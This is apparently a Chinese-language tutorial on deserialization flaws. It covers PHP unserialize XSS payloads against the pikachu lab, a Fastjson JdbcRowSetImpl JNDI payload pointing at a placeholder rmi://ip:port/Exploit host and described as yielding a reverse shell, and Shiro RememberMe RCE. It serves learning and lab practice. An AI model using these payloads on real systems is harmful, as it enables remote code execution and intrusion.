对于反序列化,这个漏洞也是常用的,不过涉及到的方面非常非常广,比其他漏洞也难很多
于是本篇文章就分成PHP和JAVA的反序列化来讲讲
1.反序列化
想要理解反序列化,首先就要理解序列化
序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
对于反序列化之后的内容,一般有如下
2.PHP反序列化漏洞
对于PHP的序列化和反序列化,一般是涉及到两个函数
unserialize() 反序列化
serialize() 序列化
反序列化被利用一般有以下三个特点
1、unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
2、脚本中定义了有Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
3、操作的内容需要有对象中的成员变量的值,比如filename
配合上以下的函数,就能达到RCE,任意文件删除,XSS...的效果
说了这么多,我们还是来举个栗子吧,先来看一段序列化的代码
php
<?php
class SerializeTest
{
public $var = "whoami";
}
$obj = new SerializeTest();
echo serialize($obj);
结果就是这样的
解释一下,这个过程,就是把SerializeTest这个对象里面的$var属性进行序列化 ,格式如下
O(Obejetc):13("类的长度"):"SerializeTest"(类名):1(序列化的属性个数):{s(序列化的是字符串类型):3(长度):"var"(属性名);s(类型):6(长度):"whoami"(内容)}
反序列化的过程如下
php
<?php
class SerializeTest
{
public $var = "whoami";
}
$get=$_GET['test'];
$test=unserialize($get);
echo $test->var;
?>
然后我们把刚才序列化之后的东西传进去
看到传入的东西被成功输出,而且是输出我们传入的东西
那么,如果我们输出一些别的东西捏!!!
php
O:13:"SerializeTest":1:{s:3:"var";s:29:"<script>alert("666")</script>";}
可以看见,如果过滤不严,被攻击者知道了类名,属性名,并且参数可控,而且有执行命令的操作,就会导致反序列化的漏洞!!!
那么就拿pikachu的靶场来练习一下
这没源代码我玩集贸啊?搞错了,上个源代码
php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
赶紧代码审计,可以发现它的类中用到一个$test的属性,并且通过了反序列化之后直接将test的内容输出,那就最简单的XSS攻击就好!!!
写个脚本
php
<?php
class S
{
public $test;
function __construct(){
$this->test='<script>alert("这就是反序列化")</script>';
}
}
$test =new S;
echo serialize($test);
?>
然后就能看见
于是把poc粘贴到那个窗口就好,成功弹窗
3.JAVA反序列化漏洞
有了上面的php反序列化之后,我们就可以来看java的反序列化了
那么我们话不多说,直接上案例
1.Fastjson反序列化
对于这个fastjson,可以说是黑客和修复人员在斗智斗勇啊!!
哈哈哈哈哈
那么,我们就来讲一下它的原理
原理
正常序列化之后就是这样的格式
那么问题就来了,它属于哪一个类呢???为了解决这个问题
就引入了一个罪魁祸首!!!! Autotype!!!变成了这样!!!
那么问题就是这样的出现的
com.sun.rowset.JdbcRowSetImpl ,dataSourceName支持传入一个rmi的源,可以实现JNDI注
入攻击(这里是不是和log4j2的原理很像,虽然少了一步序列化)
所以它的poc就是这样了
php
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}
八九不离十吧
- 构造恶意的poc,然后被反序列化,去访问我们VPS上的LDAP服务
- 然后再去访问我们的HTTP端口,下载恶意代码
- 最后执行这个恶意代码,并且反弹shell到我们的VPS
至此,就是Fastjson的原理了
2.Apache Shiro反序列化
Shiro反序列化可以说是蓝队或者红队面试的一个必问的问题!!!!
原理
那么Shiro在哪里产生了反序列化呢??? 就在RememerMe这里
很多shiro的登录界面都提供了记住我(RememberMe)这个功能,其中的内容直接放在了Cookie里面,包含了用户的一些信息。
可以看见,这个框架的特点就是有这个字段这里,就拿vulhub来讲一下这个
1.CVE-2010-3863
绕过目录,这个其实和反序列化没什么关系,只不过是我靶场开错了,于是顺便就讲一下这个
它这一关,就是直接在URL后面加上一个admin就可以绕过认证,直接登录
2.CVE-2016-4437
这个就是可以直接RCE了
直接用工具
不知道是不是插件出的问题,还是直接用工具去扫吧
弹个shell出来玩玩,一眼docker!!!
原理其实还就是因为,它的AES加密的时候,对应的密钥是直接写死在了代码里面,而且shiro又是一个开源的框架,所以就能被攻击者恶意利用!!
虽然现在的shiro不写密钥了,但是还是可以爆破!!! 原理???
其实原理就是你用正确密钥加密后的东西和错误的密钥加密的返回值是不同的
这也就解释了为什么工具能检测出是哪一个密钥的原因!!!!
顺便提一下,这些工具都不能用最新的版本,只能用jdk1.8
检测工具的话,还是很多,不过我喜欢用利群,嘻嘻嘻